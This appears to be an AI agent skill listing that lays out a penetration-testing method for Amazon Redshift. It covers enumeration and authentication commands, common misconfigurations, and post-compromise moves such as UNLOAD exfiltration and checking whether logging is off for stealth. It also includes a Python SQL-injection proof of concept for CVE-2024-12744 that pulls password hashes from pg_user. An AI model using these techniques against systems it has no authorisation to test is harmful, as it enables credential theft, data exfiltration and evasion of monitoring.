# Redshift Pentest

> Pentest Amazon Redshift data warehouse (port 5439). Use this skill whenever the user mentions Redshift, AWS data warehouse, port 5439, PostgreSQL-like database on AWS, or wants to enumerate/test Redshift security. This includes checking for public access, testing authentication paths (password, IAM tokens, SSO), exploiting misconfigurations, and testing for known vulnerabilities like CVE-2024-12744/5/6 in JDBC/Python/ODBC drivers.

- Skill: `abelrguezr/redshift-pentest` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/redshift-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/redshift-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/redshift-pentest

---


# Redshift Pentesting Skill

This skill helps you enumerate, authenticate against, and test Amazon Redshift data warehouses for security issues. Redshift uses a modified PostgreSQL protocol on port 5439.

## When to Use This Skill

Use this skill when:
- You need to test a Redshift cluster or workgroup
- You discover port 5439 open on a target
- You're assessing AWS data warehouse security
- You need to test IAM database authentication
- You want to check for public access misconfigurations
- You're investigating Redshift-specific vulnerabilities

## Quick Start

### 1. Identify the Target

**Public endpoint patterns:**
- Provisioned: `<clusterid>.<random>.<region>.redshift.amazonaws.com`
- Serverless: `<workgroup>.<random>.<region>.redshift-serverless.amazonaws.com`
- China region: `.redshift.amazonaws.com.cn`

**Default port:** 5439/TCP (customizable but rarely changed)

### 2. Test Connectivity

```bash
# Basic connection test with TLS
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"

# Check version and banner
psql "host=<endpoint> user=<user> dbname=dev" -c 'select version();'
```

**TLS Requirements:** Redshift requires TLS 1.2+ with perfect-forward-secrecy ciphers. Old clients will fail.

### 3. Enumerate the Instance

```bash
# List databases
\l

# List users and privileges
\du
select * from pg_user;

# Check active sessions
select * from svv_redshift_sessions;

# Check cluster parameters
select * from svl_query_text;
```

**Username enumeration:** Different error messages for bad password vs missing user can leak valid usernames during brute force.

## Authentication Paths to Test

### Database Password

- Master user is often named `awsuser`
- Test common credentials and password reuse
- Check for weak/default passwords

### IAM Authentication Tokens

Generate short-lived credentials:

```bash
aws redshift get-cluster-credentials \
  --cluster-identifier <id> \
  --db-user pentest \
  --db-name dev \
  --duration-seconds 900
```

Then connect:

```bash
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
```

**Abuse vectors:**
- Stolen IAM credentials with `rds-db:connect` equivalent permissions
- Overprivileged IAM roles attached to EC2 instances
- SSRF into VPC to reach Redshift endpoint

### SSO / Identity Center / SAML

JDBC connections with `plugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider` may:
- Spin up local webserver for SSO callback
- Leak SAML assertions or temporary credentials via captured loopback traffic

## Common Misconfigurations

### 1. Public Access

**Check:** `PubliclyAccessible=true` with wide-open security group (0.0.0.0/0)

**Impact:** Exposes Postgres-like surface for:
- Brute force attacks
- SQL injection exploitation
- Credential stuffing

**Note:** New clusters disable public access by default (Jan 2025), but legacy clusters may still be public.

### 2. Default Port + Default SG

Port 5439 with default security group is easily discoverable via Shodan/Censys.

### 3. No Enhanced VPC Routing

COPY/UNLOAD operations go over public Internet, enabling:
- Data exfiltration when attacker controls S3 bucket
- Data injection via compromised S3

## Attack Techniques

### Post-Compromise Actions

If you gain access:

**Provisioned clusters (master user):**
- Create Python UDFs for code execution (deprecated June 2026)
- Create external schema to Spectrum
- COPY from attacker-controlled S3 bucket
- UNLOAD to exfiltrate data to S3

**Serverless workgroups:**
- No superuser available
- Same SQL attack surface as provisioned
- Limited to granted privileges

### Check Logging Configuration

```sql
-- Check if user activity logging is disabled (aids stealth)
select * from svl_query_text where query_text like '%enable_user_activity_logging%';
```

### CVE-2024-12744/5/6 - Client-Side Metadata SQLi

**Affected versions:**
- JDBC: 2.1.0.31
- Python connector: 2.1.4
- ODBC: 2.1.5.0

**Vulnerability:** Metadata queries (`getSchemas`, `getTables`, `getColumns`) build SQL with unquoted user input.

**Exploit (Python):**

```python
import redshift_connector

conn = redshift_connector.connect(
    host='<endpoint>',
    database='dev',
    user='lowpriv',
    password='pw'
)
cur = conn.cursor()

# Injection in table_pattern leaks data from pg_tables
cur.get_tables(
    table_schema='public',
    table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--"
)
```

**Impact:** Arbitrary SQL execution with the DB user's privileges if an application lets attackers control catalog/pattern arguments.

### UDF Execution Model

**Python UDFs:** End of support June 30, 2026
- Legacy provisioned clusters still run Python UDFs
- In-cluster code execution (no filesystem/network access)
- Offensive value: RCE primitive within cluster

**Lambda UDFs:** Required after June 2026
- Code runs in Lambda with IAM role
- May reach Internet/VPC endpoints
- Potential for SSRF/pivot but no direct cluster filesystem access

**Hunting tip:** Look for old clusters with Python UDFs enabled.

## Recent Security Changes

### January 2025
- Public access disabled by default on new clusters/snapshots
- Legacy clusters may still be publicly accessible

### June 2025
- Serverless VPCE rollout: workgroup endpoints created in up to 3 AZs
- Discovery tools should enumerate all workgroup VPCE DNS names per AZ

### Encryption
- Encryption at rest + enforced TLS by default
- Sniffing/MITM harder; need valid credentials or SSRF into VPC

## Parameter Group Checks

Check these parameters for security implications:

- `require_ssl`: Controls if plaintext connections allowed (default: true in `default.redshift-2.0`)
- `max_concurrency_scaling_clusters`: Affects brute force resistance
- `enable_user_activity_logging`: Disabled = easier stealth

## References

- [AWS Security Bulletin – SQLi in Redshift drivers (CVE-2024-12744/5/6)](https://aws.amazon.com/security/security-bulletins/AWS-2024-015/)
- [AWS Big Data Blog – Python UDF end-of-support](https://aws.amazon.com/blogs/big-data/amazon-redshift-python-user-defined-functions-will-reach-end-of-support-after-june-30-2026/)
- [HackTricks – AWS Redshift Enumeration](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html)